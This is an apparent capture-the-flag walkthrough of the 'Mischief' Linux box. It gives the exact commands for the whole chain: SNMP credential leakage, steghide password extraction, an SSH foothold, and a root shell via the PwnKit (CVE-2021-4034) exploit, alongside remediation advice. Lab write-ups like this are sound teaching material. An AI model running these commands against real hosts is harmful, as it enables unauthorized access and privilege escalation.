← all walkthroughs

Mischief

Linux· Insane· Credential Access· Privilege Escalation
owned
2026-07-12
time to own
10m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A UDP scan of $TARGET uncovered SNMP on port 161. Walking the process table with the unauthenticated default community string 'public' exposed the full command line of a running Python HTTP server — including its Basic-auth credentials (loki's password) and the non-standard port it served (3366).

Logging into port 3366 with those credentials surfaced a JPEG image; extracting hidden content from that image with the first password as the steganographic passphrase yielded a second credential, which opened an SSH session as user loki and delivered the user flag. Post-foothold enumeration confirmed the host ran pkexec 0.105, unpatched against CVE-2021-4034 (PwnKit).

A glibc mismatch prevented running a locally-compiled exploit binary on the target, so the exploit source was transferred and compiled directly on the target using its own gcc, producing a root shell within seconds. The root flag was hidden outside /root/ at an unusual compiler-library path, requiring a full filesystem search to find.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceNetwork service discovery (T1046)
Port scan revealed SNMP and a non-standard HTTP service
An initial TCP version scan and a parallel UDP top-100 scan of $TARGET identified four services: SSH (22/tcp), Apache (80/tcp), SNMP (161/udp), and a Python HTTP server (3366/tcp). The presence of SNMP with no visible authentication controls made it the highest-priority target for unauthenticated data extraction before any web content was touched.
Nmap reported 161/udp open snmp and 3366/tcp open http Python BaseHTTPServer.
Exact commands 2
shell

UDP top-100 scan — discovers SNMP on 161/udp.

$ nmap -sU --top-ports 100 -Pn -T4 $TARGET
shell

The whole TCP range, because the interesting service here is not on a port anyone would guess.

$ nmap -sV -p- --min-rate 5000 -Pn $TARGET
2Credential AccessSNMP MIB process-table credential leakage (T1602.001)
Dumped plaintext HTTP credentials from SNMP process-argument table
Using the unauthenticated default community string 'public', I walked the MIB-II process-argument table (OID .1.3.6.1.2.1.25.4.2.1.5). The full argv of the running SimpleHTTPAuthServer process was returned in cleartext, exposing username 'loki', password, and the port number 3366. A separate walk of the IP-address table (OID .1.3.6.1.2.1.4.34) also surfaced a decimal-encoded IPv6 address for the host. Both pieces of information were obtained before a single authenticated request was made.
A walk of OID .1.3.6.1.2.1.25.4.2.1.5 returned the full SimpleHTTPAuthServer command line, credentials and all, and a walk of .1.3.6.1.2.1.4.34 returned the host's IPv6 address.
Exact commands 3
shell

Walk process-name table to identify running services.

$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.2
shell

Walk process-argument table — exposes full command lines including embedded credentials.

$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.5
shell

The IP-address table, which hands back the host's IPv6 address as a decimal-encoded OID suffix. Worth having: a firewall that filters IPv4 often does not filter the same host's IPv6.

$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.4.34
FixDisable or harden SNMP and stop embedding credentials in process argumentsCritical
WeaknessThe SNMP service accepted queries from any host using the default 'public' community string, and had no access controls. Because a Python web server was launched with its credentials on the command line, those credentials were fully visible in the MIB process-argument table — readable by any unauthenticated network host that could reach UDP/161.
FixIf SNMP monitoring is not required, stop and disable the service (systemctl disable --now snmpd). If monitoring is required: (1) replace 'public' with a long random community string and restrict access to a dedicated monitoring IP in /etc/snmp/snmpd.conf using a com2sec directive; (2) migrate to SNMPv3 with authPriv (authentication + encryption); (3) never pass credentials as command-line arguments to long-running processes — use environment variables injected from a secrets manager, or a config file readable only by the service account, so credentials do not appear in the process table.
3EnumerationAuthenticated file retrieval from a non-standard internal service (T1083)
Authenticated to the hidden file server and retrieved a credential-bearing image
Using the SNMP-recovered credentials, I authenticated to the Python HTTP server on 3366/tcp. The server responded with an HTML 'Credentials' index page and served a single JPEG image, loki.jpg. Both the page and the image were downloaded for further analysis.
Authenticating to the Python HTTP server on 3366 as loki with the SNMP-recovered password returned an index page listing a single JPEG, which downloaded successfully.
Exact commands 2
shell

Confirm authenticated access and enumerate available files.

$ curl -g -sS -i --max-time 10 -u "loki:$PASSWORD3" http://$TARGET:3366/
shell

Download the image for credential extraction.

$ curl -g -sS --max-time 10 -u "loki:$PASSWORD3" -o loki.jpg http://$TARGET:3366/loki.jpg
4Credential AccessCredential extraction from steganographic image content (T1552.001)
Extracted a second SSH password concealed inside the JPEG via steganography
Metadata inspection and raw string extraction on loki.jpg pointed to hidden embedded content. Using the already-known credential as the steganographic passphrase, steghide extracted a file containing the second password: '<withheld>'. This password was specific to the loki SSH account on the target.
Steghide extract -sf loki.jpg -p <withheld> produced a file containing the string.
Exact commands 3
shell

Inspect image metadata for embedded text or suspicious comments.

$ exiftool loki.jpg
shell

Dump all printable strings from the raw file.

$ strings -a loki.jpg
shell

Attempt steganographic extraction using the first credential as the passphrase.

$ steghide extract -sf loki.jpg -p "$PASSWORD3"
FixRemove credentials embedded in media files and enforce SSH key-only authenticationHigh
WeaknessA JPEG image served on an internal HTTP file server contained a user's SSH password embedded via steganography. Any party who obtained the first credential — by any means — could retrieve the image and extract the second password, enabling lateral movement to an SSH session.
FixNever store or distribute credentials inside binary or media files. Use a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) for all credential distribution and rotation. Audit all internally served files for embedded credentials. Disable password-based SSH authentication on all hosts (set PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config) and require key-pair authentication exclusively.
5Initial AccessValid account — SSH password authentication (T1078)
Logged in via SSH as loki and captured the user flag
The password recovered from the image authenticated an SSH session as loki (uid=1000) on $TARGET. The user flag was immediately readable at /home/loki/user.txt, confirming full user-level access.
Sshpass -p <withheld> ssh loki@$TARGET returned uid=1000(loki); /home/loki/user.txt readable.
Exact commands 2
shell

Open an interactive SSH session as loki.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null loki@$TARGET
shell

Confirm account context and read the user flag (value: <user.txt>).

$ id && cat /home/loki/user.txt
uid=1000(loki)
6Privilege EscalationCVE-2021-4034 PwnKit — pkexec local privilege escalation (T1068)
Exploited unpatched pkexec (CVE-2021-4034 / PwnKit) to become root
Post-foothold enumeration identified pkexec version 0.105 from policykit-1 package 0.105-20 — unpatched against CVE-2021-4034 (PwnKit), a local privilege escalation that exploits an out-of-bounds memory write in pkexec's argument-parsing code to execute arbitrary code as root. My build environment had a newer glibc than the target's Ubuntu 18.04, so the exploit C source (pwnkit.c and pwnkitlib.c) was transferred to the target and compiled in-place with the target's own gcc, avoiding the GLIBC_2.34 mismatch. Running the resulting binary returned a root shell in seconds.
Dpkg-query showed policykit-1 0.105-20; pkexec --version returned 0.105; on-target gcc build and execution of pwnkit-exploit returned uid=0(root).
Exact commands 4
shell

Confirm vulnerable pkexec version on the target.

$ dpkg-query -W -f='${Package} ${Version}\n' policykit-1 && /usr/bin/pkexec --version
shell

The directory has to exist before anything is copied into it.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no loki@$TARGET 'mkdir -p /tmp/pwk'
shell

Compiled on the target rather than here: an exploit against pkexec has to match the glibc it runs beside.

$ sshpass -p "$PASSWORD2" scp pwnkit.c pwnkitlib.c loki@$TARGET:/tmp/pwk/
shell

Expect uid=0(root). The bug is in pkexec's handling of an empty argument vector, so nothing on disk needs to be setuid but pkexec itself.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no loki@$TARGET 'cd /tmp/pwk && gcc pwnkit.c -o pwnkit-exploit && gcc -shared -fPIC pwnkitlib.c -o pwnkit.so && ./pwnkit-exploit'
FixPatch policykit-1 to eliminate CVE-2021-4034 (PwnKit) local privilege escalationCritical
WeaknessThe host ran policykit-1 0.105-20, which contains an out-of-bounds memory write in pkexec's argument-parsing code. Any authenticated local user — regardless of privilege level — can exploit this to execute arbitrary code as root with no additional prerequisites.
FixApply the vendor security update immediately. On Ubuntu 18.04 (Bionic): apt-get update && apt-get install --only-upgrade policykit-1. Verify the installed version is at least 0.105-20ubuntu0.18.04.6. If an emergency patch window is required, apply the temporary mitigation of removing the setuid bit (chmod 0755 /usr/bin/pkexec) until the package can be updated. Enable unattended-upgrades (apt-get install unattended-upgrades) and configure it to apply security updates automatically so critical local privilege escalation vulnerabilities are not left unpatched on production systems.
7Post-ExploitationSensitive file discovery on a fully compromised host (T1083)
Located the root flag hidden at a non-standard filesystem path
The flag is not where it should be. /root/root.txt holds a line telling me so, which is the box's joke and also a useful reminder: root.txt is a file like any other, and nothing requires it to sit in root's home. A search for the name finds the real one under a compiler's library directory, where a listing of /root would never have looked.
Find / -maxdepth 6 -name root.txt 2>/dev/null returned both /root/root.txt (decoy) and /usr/lib/gcc/x86_64-linux-gnu/7/root.txt (real flag).
Exact commands 3
shell

A decoy. Worth reading before assuming the shell failed.

$ cat /root/root.txt
shell

Search the full filesystem for all root.txt files.

$ find / -maxdepth 6 -name root.txt 2>/dev/null
shell

Read the real root flag (value: <root.txt>).

$ cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt